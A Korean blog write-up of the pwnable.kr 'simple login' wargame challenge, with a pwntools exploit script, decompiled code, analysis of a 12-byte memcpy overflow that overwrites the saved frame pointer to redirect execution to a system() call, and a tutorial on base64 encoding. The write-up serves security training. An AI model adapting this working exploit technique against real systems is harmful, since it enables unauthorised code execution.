security/포너블 - pwnable.kr

pwnable.kr - [Rookiss] simple login

민사민서 2023. 2. 27. 01:02
from pwn import *
import base64

p = remote("pwnable.kr", 9003)
# p = process("./login")

pay = b'\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08'
pay_encoded = base64.b64encode(pay).decode('ascii') # hJIECGFhYWE86xEI
# print(pay_encoded)

p.sendlineafter('Authenticate : ', pay_encoded)
p.interactive()

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-3Ch]
  int v5; // [esp+18h] [ebp-28h] BYREF
  _BYTE v6[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int v7; // [esp+3Ch] [ebp-4h]

  memset(v6, 0, sizeof(v6));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ", v4);
  _isoc99_scanf("%30s", v6); // v6에 입력받음
  memset(&input, 0, 12);
  v5 = 0;
// v6을 base64 decoding한 결과가 v5가 가리키는 chunk에 담기고
// decoded text 길이는 v7에 담긴다
  v7 = Base64Decode(v6, &v5);
  if ( v7 > 0xC ) // decoded text 길이 제한 12자
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(&input, v5, v7); // v5 내용 input에 복사
    if ( auth(v7) == 1 )
      correct();
  }
  return 0;
}
int __cdecl Base64Decode(int a1, _DWORD *a2)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int v5; // eax
  int v7; // [esp+1Ch] [ebp-1Ch]
  int v8; // [esp+20h] [ebp-18h]
  int v9; // [esp+24h] [ebp-14h]
  int v10; // [esp+2Ch] [ebp-Ch]

  v10 = calcDecodeLength(a1); // decoded text 길이 계산
  *a2 = malloc(v10 + 1); // decode 결과 담길 공간 
  v2 = strlen(a1);
// OpenSSL을 이용한 base64 decoding
  v9 = fmemopen(a1, v2, &unk_80DA64A);
  v3 = BIO_f_base64();
  v8 = BIO_new(v3);
  v4 = BIO_new_fp(v9, 0);
  v7 = BIO_push(v8, v4);
  BIO_set_flags(v7, 256);
  v5 = strlen(a1);
  *(_BYTE *)(*a2 + BIO_read(v7, *a2, v5)) = 0;
  BIO_free_all(v7);
  fclose(v9);
  return v10;
}
int __cdecl calcDecodeLength(int a1)
{
  int v2; // [esp+18h] [ebp-10h]
  int v3; // [esp+1Ch] [ebp-Ch]

  v2 = strlen(a1);
  v3 = 0;
// base64 인코딩 결과 뒤에 ==나 =가 붙을 수 있다
  if ( *(_BYTE *)(v2 - 1 + a1) == '=' && *(_BYTE *)(v2 - 2 + a1) == '=' )
  {
    v3 = 2;
  }
  else if ( *(_BYTE *)(v2 - 1 + a1) == '=' )
  {
    v3 = 1;
  }
// base64 인코딩 결과 데이터 양 약 33퍼센트 늘어남. 6bit 당 2bit의 overhead 발생하기 때문.
// decoded text 길이는 encoded text 길이에 0.75를 곱한다음 패딩문자 '='의 개수를 빼줘야 한다
  return (int)((long double)v2 * 0.75 - (long double)v3);
}
BOOL __cdecl auth(int a1)
{
  char v2[8]; // [esp+14h] [ebp-14h] BYREF
  const char *v3; // [esp+1Ch] [ebp-Ch]
  int v4; // [esp+20h] [ebp-8h] BYREF

  memcpy(&v4, &input, a1); // input의 내용을 v4에 복사, BOF!!!
  v3 = (const char *)calc_md5(v2, 12); // md값 생성, 근데 user input이랑 상관없는데?
  printf("hash : %s\n", v3);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", v3) == 0;
}

- Partial RELRO   No canary found   NX enabled    No PIE
- auth() 함수 보면 user input과 상관없이 md5 값 생성하여 key와 strcmp 하고 있다
- user input 동일해도 매 실행시마다 해시값 달라진다
- auth() 함수에서 bof 발생 => memcpy(&v4, &input, a1)에서 v4에 최대 12byte 입력 가능
- v4=[ebp-0x8]이므로 SFP 4byte overwrite 가능하다!

- ASLR에 의해 스택 주소 계속 바뀌므로 고정된 주소(maybe 전역변수?)로 EBP 옮기는 게 좋겠다
- v6(user input)을 base64 decoding한 결과가 v5가 가르키는 chunk/input/v4에 저장된다
- input 첫 4byte에 <correct+37> 주소 넣어두고 main_ebp = &input-4 되도록 SFP 조작하면 될 듯?
- 디코딩 결과가 '\x84\x92\x04\x08'+DUMMY 4bytes+'\x3c\xeb\x11\x08' 되도록 하는 input 구하자
=> 'hJIECGFhYWE86xEI'

(참고)
main 함수 마지막 부분 
   0x08049402 <+245>:	call   0x804929c <auth>
   0x08049407 <+250>:	cmp    eax,0x1
   0x0804940a <+253>:	jne    0x804941f <main+274> ; 어차피 auth() 실패할 것
   ~~~
   0x0804941f <+274>:	mov    eax,0x0
   0x08049424 <+279>:	leave  			; mov esp,ebp; pop ebp;
   0x08049425 <+280>:	ret    			; pop eip
correct 함수 system() 호출 부분
   0x08049284 <+37>:	mov    DWORD PTR [esp],0x80da66f
   0x0804928b <+44>:	call   0x805b2b0 <system>
전역변수 input 주소: 0x0811eb40​

 

1. '\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08' base64 인코딩 방법?

1) online base64 encoder 이용

1. perl -e 'print"\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08"' > a.txt
2. a.txt를 online base64 encoder에 업로드
3. 결과파일 얻는다 :  'hJIECGFhYWE86xEI'

2) 직접 하기 ㅋㅋ

1. 12 Bytes = 96 Bits = 인코딩 결과 16글자

100001/00 1001/0010 00/000100/ 000010/00 0110/0001 01/100001/ 011000/01 0110/0001 00/111100/ 111010/11 0001/0001 00/001000/

=>

33 / 9 / 8 / 4 / 2 / 6 / 5 / 33 / 24 / 22 / 4 / 60 / 58 / 49 / 4 / 8

=>

'hJIECGFhYWE86xEI'

3) 파이썬 base64 모듈 이용하기

import base64

code = b'\x84\x92\x04\x08\x61\x61\x61\x61\x3c\xeb\x11\x08'
encoded = base64.b64encode(pay).decode('ascii')

 

2. base64 모듈을 이용한 base64 인코딩 / 디코딩

인코딩: 문자열을 바이트로 - base64 인코딩 - 바이트를 문자열로

import base64

str = '안녕?'
# 한글이 아니라 영어였다면 str.encode('ascii')
bytes = str.encode('UTF-8') # str to bytes

result = base64.b64encode(bytes) # 아스키코드값
result_str = result.decode('ascii') # bytes to str
print(result_str)

# 7JWI64WVPw==

디코딩: 문자열을 바이트로 (생략 가능) - base64 디코딩 - 바이트를 문자열로

import base64

code = '7JWI64WVPw=='

decoded = base64.b64decode(code)
# 한글이 아니라 영어였다면 decoded.decode('ascii')
str = decoded.decode('UTF-8') # bytes to str
print(str)

# 안녕?

 

3. Base64 인코딩이란?

Binary Data를 6 bit 씩 자른 뒤 6 bit에 해당하는 문자를 아래 Base64 색인표에서 찾아 치환한다

문자열 > ascii binary > 6bit cut > base64_encode

만약 문자열이 3개(6bit)씩 끊어지지 않고 빈자리가 생긴다면

남은 비트에 0을 채우고 padding 문자인 '='가 그 빈자리만큼 들어가게 된다 (00: '=' 1개, 00 00: '=' 2개)

Base64 색인표

Base64 Encoding을 하게되면 전송해야 될 데이터의 양도 약 33% 정도 늘어난다.

6bit당 2bit의 Overhead가 발생하기 때문이다. 

 

그렇다면 왜 사용하냐?

ASCII로 Encoding하여 전송하게 되면 여러가지 문제가 발생할 수 있다. 대표적인 문제는

  • ASCII는 7 bits Encoding인데 나머지 1bit를 처리하는 방식이 시스템 별로 상이하다.
  • 일부 제어문자 (e.g. Line ending)의 경우 시스템 별로 다른 코드값을 갖는다.

위와 같은 문제로 ASCII는 시스템간 데이터를 전달하기에 안전하지가 않다. 

Base64는 ASCII 중 제어문자와 일부 특수문자를 제외한 64개의 안전한 출력 문자만 사용한다.
(* 안전한 출력 문자는 문자 코드에 영향을 받지 않는 공통 ASCII를 의미한다)

 

블로그 글 참고

https://effectivesquid.tistory.com/entry/Base64-%EC%9D%B8%EC%BD%94%EB%94%A9%EC%9D%B4%EB%9E%80

 

Base64 인코딩이란?

인코딩이란? Base64 인코딩에 대해 알아보기전에 먼저 인코딩이란게 무엇인지 간략하게 알아보자. 인코딩(encoding)은 정보의 형태나 형식을 표준화, 보안, 처리 속도 향상, 저장 공간 절약 등을 위

effectivesquid.tistory.com

 

'security > 포너블 - pwnable.kr' 카테고리의 다른 글

pwnable.kr - [Rookiss] dragon  (0) 2023.03.03
pwnable.kr - [Rookiss] alloca  (0) 2023.03.03
pwnable.kr - [Rookiss] loveletter  (0) 2023.02.26
pwnable.kr - [Rookiss] echo2  (0) 2023.02.25
pwnable.kr - [Rookiss] fix  (0) 2023.02.23